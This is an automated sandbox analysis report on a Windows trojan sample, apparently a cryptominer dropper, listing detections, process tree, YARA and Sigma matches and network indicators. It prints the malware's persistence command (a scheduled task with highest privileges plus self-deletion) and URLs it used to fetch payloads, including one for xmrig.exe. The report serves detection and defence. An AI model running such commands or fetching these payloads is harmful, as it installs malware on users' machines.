Create Interactive Tour

Windows Analysis Report
QHSgso4hXH.exe

Overview

General Information

Sample Name:	QHSgso4hXH.exe
Analysis ID:	749056
MD5:	2f8df206ba700503dbebf59e937af0ec
SHA1:	7c36d57af94f2dd16a62c09356b4ef2c63e456fd
SHA256:	6bb1564eca89071edd9c42b84481aed5f3f5aaccedb8f61d6fb892b7f08bdca7
Tags:	32exetrojan
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Sigma detected: Schedule binary from dotnet directory

Writes to foreign memory regions

Machine Learning detection for sample

Allocates memory in foreign processes

Uses ping.exe to check the status of other devices and networks

Injects a PE file into a foreign processes

Uses schtasks.exe or at.exe to add and modify task schedules

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Sample file is different than original file name gathered from version info

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

QHSgso4hXH.exe (PID: 2840 cmdline: C:\Users\user\Desktop\QHSgso4hXH.exe MD5: 2F8DF206BA700503DBEBF59E937AF0EC)

ngentask.exe (PID: 3128 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe MD5: ED7F195F7121781CC3D380942765B57D)

cmd.exe (PID: 2148 cmdline: C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chcp.com (PID: 5432 cmdline: chcp 65001 MD5: 561054CF9C4B2897E80D7E7D9027FED9)

PING.EXE (PID: 5416 cmdline: ping 127.0.0.1 MD5: 70C24A306F768936563ABDADB9CA9108)

schtasks.exe (PID: 5592 cmdline: schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f MD5: 15FF7D8324231381BAD48A052F85DF04)

ngentask.exe (PID: 5788 cmdline: "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" MD5: ED7F195F7121781CC3D380942765B57D)

conhost.exe (PID: 5824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

ngentask.exe (PID: 4512 cmdline: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe MD5: ED7F195F7121781CC3D380942765B57D)

conhost.exe (PID: 6048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

ngentask.exe (PID: 5420 cmdline: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe MD5: ED7F195F7121781CC3D380942765B57D)

conhost.exe (PID: 4912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

ngentask.exe (PID: 684 cmdline: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe MD5: ED7F195F7121781CC3D380942765B57D)

conhost.exe (PID: 5608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.260166226.0000000002256000.00000040.00000800.00020000.00000000.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0xc7aba:$xo1: \x8E\xC3\xAC\xC3\xB9\xC3\xAA\xC3\xAF\xC3\xAF\xC3\xA2\xC3\xEC\xC3\xF6\xC3\xED\xC3\xF3\xC3
00000000.00000003.260166226.0000000002256000.00000040.00000800.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6e:$xo1: \x97\xAB\xAA\xB0\xE3\xB3\xB1\xAC\xA4\xB1\xA2\xAE\xE3\xA0\xA2\xAD\xAD\xAC\xB7\xE3\xA1\xA6\xE3\xB1\xB6\xAD\xE3\xAA\xAD\xE3\x87\x8C\x90\xE3\xAE\xAC\xA7\xA6

Sigma Signatures

Malware Analysis System Evasion

Sigma detected: Schedule binary from dotnet directory

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe, CommandLine: C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe, ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe, ParentProcessId: 3128, ParentProcessName: ngentask.exe, ProcessCommandLine: C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe, ProcessId: 2148, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

• AV Detection
• Compliance
• Networking
• System Summary
• Data Obfuscation
• Persistence and Installation Behavior
• Boot Survival
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: QHSgso4hXH.exe	ReversingLabs: Detection: 32%
Source: QHSgso4hXH.exe	Virustotal: Detection: 34%			Perma Link

Antivirus detection for URL or domain

Source: http://193.218.201.246/xmrig.exe

Avira URL Cloud: Label: malware

Machine Learning detection for sample

Source: QHSgso4hXH.exe

Joe Sandbox ML: detected

Source: 0.3.QHSgso4hXH.exe.c190000.0.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 1.0.ngentask.exe.400000.0.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 0.3.QHSgso4hXH.exe.c190000.1.unpack	Avira: Label: TR/ATRAPS.Gen

Source: QHSgso4hXH.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 160.153.50.70:443 -> 192.168.2.6:49702 version: TLS 1.2

Source:

Binary string: NGenTask.pdb source: ngentask.exe, 00000008.00000000.291902355.00000000006D2000.00000002.00000001.01000000.00000008.sdmp, ngentask.exe.1.dr

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 160.153.50.70 160.153.50.70

Source: global traffic

HTTP traffic detected: GET /library.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Host: www.imarket-eg.com

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 18 Nov 2022 06:52:45 GMTServer: ApacheX-Powered-By: PHP/7.4.33Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.imarket-eg.com/wp-json/>; rel="https://api.w.org/"Set-Cookie: _eshoob=1; expires=Fri, 25-Nov-2022 06:52:46 GMT; Max-Age=604800; path=/Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8

Source: advapi32.dll.0.dr	String found in binary or memory: <a href="https://www.facebook.com/imarketegypt/"> equals www.facebook.com (Facebook)
Source: advapi32.dll.0.dr	String found in binary or memory: <a href="https://www.linkedin.com/in/imarket-marketing-agency-a80a82213/"> equals www.linkedin.com (Linkedin)
Source: advapi32.dll.0.dr	String found in binary or memory: <a href="https://www.youtube.com/channel/UCoLhJ3CIgGI8Rvq_S_TkcFg"> equals www.youtube.com (Youtube)
Source: advapi32.dll.0.dr	String found in binary or memory: src="https://www.facebook.com/tr?id=275694772967027&ev=PageView&noscript=1" equals www.facebook.com (Facebook)

Source: ngentask.exe, 00000001.00000002.275257695.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.218.201.246/xmrig.exe
Source: ngentask.exe, 00000001.00000002.275257695.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.218.201.246/xmrig.exe(KKl
Source: ngentask.exe, 00000001.00000002.275257695.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: QHSgso4hXH.exe	String found in binary or memory: http://vXsLjUXgEkdPUv.307xVYtdN0
Source: QHSgso4hXH.exe, 00000000.00000002.520178129.0000000002A1B000.00000040.00000800.00020000.00000000.sdmp	String found in binary or memory: http://vXsLjUXgEkdPUv.307xVYtdN0h8WhldS19UlhMR80~
Source: advapi32.dll.0.dr	String found in binary or memory: https://analytify.io/downloads/analytify-wordpress-plugin/
Source: advapi32.dll.0.dr	String found in binary or memory: https://api.w.org/
Source: advapi32.dll.0.dr	String found in binary or memory: https://connect.facebook.net/en_US/fbevents.js
Source: advapi32.dll.0.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Poppins%3A100%2C100italic%2C200%2C200italic%2C300%2C300itali
Source: advapi32.dll.0.dr	String found in binary or memory: https://fonts.gstatic.com
Source: advapi32.dll.0.dr	String found in binary or memory: https://gmpg.org/xfn/11
Source: advapi32.dll.0.dr	String found in binary or memory: https://instagram.com/imarketegypt?utm_medium=copy_link
Source: advapi32.dll.0.dr	String found in binary or memory: https://twitter.com/imarketegypt
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/about-imarket/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/blog/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/branding/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/business-consulting/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/comments/feed/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/contact-us/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/contact-us/#
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/designs/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/elementor-524/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/feed/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/google-ads/
Source: QHSgso4hXH.exe	String found in binary or memory: https://www.imarket-eg.com/library.bin
Source: QHSgso4hXH.exe, 00000000.00000002.520178129.0000000002A1B000.00000040.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.imarket-eg.com/library.bini3NC8vtbKWLvXsWnllFS6z1xMD07Gw9nfzJIj6wDIzGzCefljal5yvndAtCkYM
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/search-user-optimization/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/services/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/social-media-marketing/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/social-media/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/videography/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/web-design-2/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/web-design/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/chaty/css/chaty-front.min.css?ver=1630326243
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/chaty/js/cht-front-script.js?ver=1630326243
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/de-product-display
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/de-sticky-frontend
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/de_loop/ecs-style.
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/dethemekit-de-caro
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/dethemekit-widgets
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/htflexboxgrid.css?
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/simple-line-icons.
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/slick.css?ver=1.5.
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/de-active-icon-box.
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/de-sticky-frontend.
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/de_loop/ecs.js?ver=
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/de_loop/ecs_ajax_pa
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/jquery-1.12.4-wp.js
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/jquery-migrate-1.4.
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/lib/ResizeSensor.mi
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/lib/jsticky/jquery.
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/lib/sticky-sidebar/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/css/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/a
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/d
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/i
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/l
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/m
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/s
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/css/frontend.min.css?ver=3.3.0
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.3.0
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/js/preloaded-elements-handlers.mi
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/lib/sticky/jquery.sticky.min.js?v
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.4.8
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.4.8
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.4.8
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js?ver=3.4.8
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.4.8
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.8.1
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.cs
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.eot?5.10.0);s
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.svg?5.10.0#ei
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.ttf?5.10.0)
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff2?5.10.0)
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/font-awesome.min
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/solid.min.css?ve
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/swiper/swiper.min.js?ver=5.3.6
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/plugins/wp-rocket/assets/js/lazyload/17.5/lazyload.min.js
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/themes/hello-elementor/style.min.css?ver=2.3.1
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/themes/hello-elementor/theme.min.css?ver=2.3.1
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/uploads/2021/06/Logo-e1624927275244-300x96.png
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/uploads/2021/06/Logo-e1624927275244.png
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/uploads/2021/06/cropped-I-180x180.jpg
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/uploads/2021/06/cropped-I-192x192.jpg
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/uploads/2021/06/cropped-I-270x270.jpg
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/uploads/2021/06/cropped-I-32x32.jpg
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/uploads/elementor/css/post-13.css?ver=1637579037
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/uploads/elementor/css/post-164.css?ver=1637579040
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/uploads/elementor/css/post-171.css?ver=1637579040
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-content/uploads/elementor/css/post-196.css?ver=1637579583
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-includes/css/dist/block-library/style.min.css?ver=6.0.3
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-includes/js/jquery/ui/core.min.js?ver=1.13.1
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-includes/wlwmanifest.xml
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/wp-json/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.imarket-eg.com/xmlrpc.php?rsd
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.linkedin.com/in/imarket-marketing-agency-a80a82213/
Source: advapi32.dll.0.dr	String found in binary or memory: https://www.youtube.com/channel/UCoLhJ3CIgGI8Rvq_S_TkcFg

Source: unknown

DNS traffic detected: queries for: vxsljuxgekdpuv.307xvytdn0

Source: global traffic

HTTP traffic detected: GET /library.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Host: www.imarket-eg.com

Source: unknown

HTTPS traffic detected: 160.153.50.70:443 -> 192.168.2.6:49702 version: TLS 1.2

Source: QHSgso4hXH.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000003.260166226.0000000002256000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 00000000.00000003.260166226.0000000002256000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings

Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02A23A90
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC9AD0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC5A20
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACCA20
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACA230
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACEA30
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ABFA10
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC3260
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02A78A50
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACDBA0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC93B0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AAA390
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AD0B90
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC1BF0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02A793D0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC5BD0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ABF320
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACE320
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02A7DB10
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC2B70
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC1350
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC6350
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACF8A0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACD880
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC00D0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC6020
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC7810
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC4060
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACB060
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AD0050
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC89F0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACD9F0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACA930
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC9910
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACF160
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACE160
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC3970
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC7170
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AD0EA0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC7EE0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACF6E0
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC1630
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC4E30
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACBE50
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02ACB780
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC4790
Source: C:\Users\user\Desktop\QHSgso4hXH.exe	Code function: 0_2_02AC07D0
